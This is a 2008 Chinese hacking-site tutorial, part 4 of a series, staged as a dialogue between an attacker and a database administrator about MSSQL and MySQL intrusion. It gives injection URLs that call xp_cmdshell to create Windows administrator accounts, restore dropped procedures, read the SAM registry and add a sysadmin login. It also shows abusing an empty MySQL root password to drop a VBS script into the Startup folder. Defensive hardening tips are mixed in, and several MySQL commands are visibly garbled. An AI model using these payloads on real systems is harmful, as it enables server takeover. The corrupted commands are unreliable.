MSSQL的脚本注入攻击与安全防护 (4)
2008-07-25 17:41:22 www.hackbase.com 来源:互联网
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给 ...
对策一:
伪黑客:
假设这个地方可以注入
http://localhost/bbs/news.asp?id=5
我们往往采取下面这种方法来攻击
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net user alpha /add’---
http://localhost/bbs/news.asp?id=5;exec master.dbo.xp_cmdshell ‘net loclagroup administrators alpha /add’---
好了,alpha已经是系统管理员了!
管理者:
如何防止呢?
看看他们是怎么实现的,通过调用SQL里的master里的扩展存储过程里的xp_cmdshell,(如下图),来执行系统指令!
我们只要点右键删除这个扩展存储,上面的攻击方法便不起作用了!
当然你也可以用下面这句:
sp_dropextendedproc 'xp_cmdshell'
来删除xp_cmdshell
对策二:
黑客对策,如果MSSQL数据库里xp_cmdshell扩展被删掉了,不用怕,我们还有方法的哟!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addextendedproc xp_cmdshell @dllname=’xplog70.dll’;--
通过这样一条我们就又把xp_cmdshell给恢复了。
管理者:靠,看来我们的设置还不够彻底哟
好,在c盘里直接搜索xplog70.dll
如图
找到了,删了它,好了,这个世界清静了,至少那帮人不会直接执行系统指令了!!
对策三:
伪黑客:你以为这样就可以了吗?你错了哟,呵呵,我方法还是多多的哟!
只要你用的是sa账户,我就还有方法的哟
http://localhost/bbs/news.asp?id=5;exec xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
看看,说不定我们就能得到管理员的密码哟!
加一个启动项什么的自然不在话下。
管理者:
看来我得下狠的了,看我这样,我把这些扩展都删除了
Xp_regaddmultistring (向注册表中增加项目)
Xp_regdeletekey (从注册表中删除一个键)
Xp_regdeletevalue (从注册表中删除一个键值)
Xp_regenumvalues (列举主键下的键值)
Xp_regread (读去一个主键下的键值)
Xp_regremovemultistring (从注册表中删除项目)
Xp_regwrite (向注册表中写入数据)
看你嚣张,呵呵,想从注册表里面搞,没门!
对策四:
伪黑客:
不让搞注册表就算了,我可以搞别的地方的哟!我加一个sql的管理员还不行吗?
真是的!
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addlogin alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_password null,alpha,alpha;--
http://localhost/bbs/news.asp?id=5;exec master.dbo.sp_addsrvrolemember sysadmin alpha;--
看看,说不定那天等xp_cmdshell能用了,我就又是管理员了呢!
管理者:
算了,我不跟你罗嗦了,我不用sa连接数据库还不行?
我建一个权限低一点的账户,比如说建立一个名为 bbs的数据库
然后建一个 名为bbs的账户
确定然后我们再去bbs的用户下中设置一下:
给他分配一些基本的权限就可以了,
好了,如果用这个用户来连接bbs数据库,相对于用sa来说安全多了哟!
还有其他的很多很多的
比如:
删除多余的系统存储过程
sp_bindsession sp_cursor sp_cursorclos sp_cursorfetch sp_cursoropen sp_cursoroption sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte sp_OACreate sp_OADestroy sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_OAStop sp_replcmds sp_replcounters sp_repldone sp_replflush sp_replstatus sp_repltrans sp_sdidebug xp_availablemedia xp_cmdshell xp_deletemail xp_dirtree xp_dropwebtask xp_dsninfo xp_enumdsn xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks xp_eventlog xp_findnextmsg xp_fixeddrives xp_getfiledetails xp_getnetname xp_grantlogin xp_logevent xp_loginconfig xp_logininfo xp_makewebtask xp_msver xp_perfend xp_perfmonitor xp_perfsample xp_perfstart xp_readerrorlog xp_readmail xp_revokelogin xp_runwebtask xp_schedulersignal xp_sendmail xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap xp_sprintf xp_sqlinventory xp_sqlregister xp_sqltrace xp_sscanf xp_startmail xp_stopmail xp_subdirs xp_unc_to_drive
定期检查用户登录情况
Use master
Select name,Password,Accdate
from syslogins
order by name
今天就说到这里了!
其实MSSQL的注入攻击防御还有很多很多东西哟!
比如导出特殊文件,破解网站密码,太多太多了,今天就简单给大家介绍这些
甚至我要说,即使你按这个设置了,你的系统还是危险的,还是脆弱的!
要想得到更安全的配置请继续关注服务器焦点哟!!!
五、简单的MYSQL数据库入侵防御问题(本文由服务器焦点成员 lonely 写的,有点烂)
在网络上,很多系统(win2k、linux)都安装了MYSQL数据库。的确,这个数据库非常受大家欢迎,但这么受欢迎的数据库安装完毕有个漏洞—就是数据库的ROOT的帐号密码为空,现在网络上很多机器都有这类毛病。
我曾经扫描了一个C类地址,竟发现数据库Root密码为空的机器多达89台,因为MYSQL不象MSSQL数据库那样可以调用XP-Shell命令,所以很多人找到这样的漏洞也不会利用。下面我就介绍一下,如何利用Win2k下Root密码为空的数据库:
如果你机器上安装了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 连接成功后,看看服务器有什么数据库:mysql>show databases MYSQL默认安装时会有MYSQL、TEST这两个数据库。 mysql>use test 进入test后,看看里面有什么数据:mysql>shows tables 那里什么也没有,那么我就在里面建立一个新表:mysql>create table lonely (abc text) 这里我创建了一个表名为lonely、字段为abc的表格。
我们再写一个增加Admin、密码为123的用户的命令。如下:
mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");
mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");
mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有没有输入错的地方: mysql>select*forma 输出表为一个VCS的脚本文件:mysql>select *from ainto autfile "c:\\docume~1\\alluse~1\\[开始] 菜单\\程序\\ceshi.vbs";
我们把表中的内容输入到启动组中,是一个VBS的脚本文件!注意“\”符号。现在所有工作都完成了,下面就是等机器重起,机器重起后,ceshi.vbs也会跟着启动,到时候他机器里就有用户为Admin、密码为:123的超级用户了。
防御方法:
对于这种攻击方法的防御最简单、安全的方法就是给MYSQL的Root用户增加口令。方法如下:
本地设置密码:mysql uroot password 密码
远程设置密码:grant select,update,delete on *..*to root@” identified by “密码”如下:
mysql>grant select,update,delete on *..*to root@” identified by"123">\c
mysql>grant select,update,delete on *..*to root@” identified by"123"query ok,0rous affected<0 34 see>
责任编辑:黑客基地
本文引用网址:







